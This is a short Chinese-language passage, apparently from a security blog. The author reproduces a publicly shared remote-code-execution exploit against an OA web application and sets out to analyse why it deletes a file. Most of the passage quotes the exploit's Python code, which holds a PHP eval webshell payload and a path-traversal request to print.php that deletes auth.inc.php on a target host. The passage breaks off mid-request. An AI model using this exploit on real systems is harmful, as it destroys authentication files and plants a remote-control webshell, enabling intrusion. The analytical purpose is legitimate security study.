hvv爆出rce按照网上exp进行复现成功获取shell,复现方式自行搜索(很多)
比较好奇 为什么要删除文件
这里从exp着手分析
import requests
target="http://10.6.6.91:7890/"
payload="<?php eval($_POST['z1feiyu']);?>"
print("[*]Warning,This exploit code will DELETE auth.inc.php which may damage the OA")
input("Press enter to continue")
print("[*]Deleting auth.inc.php....")
url=target+"/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php"
requests.get(url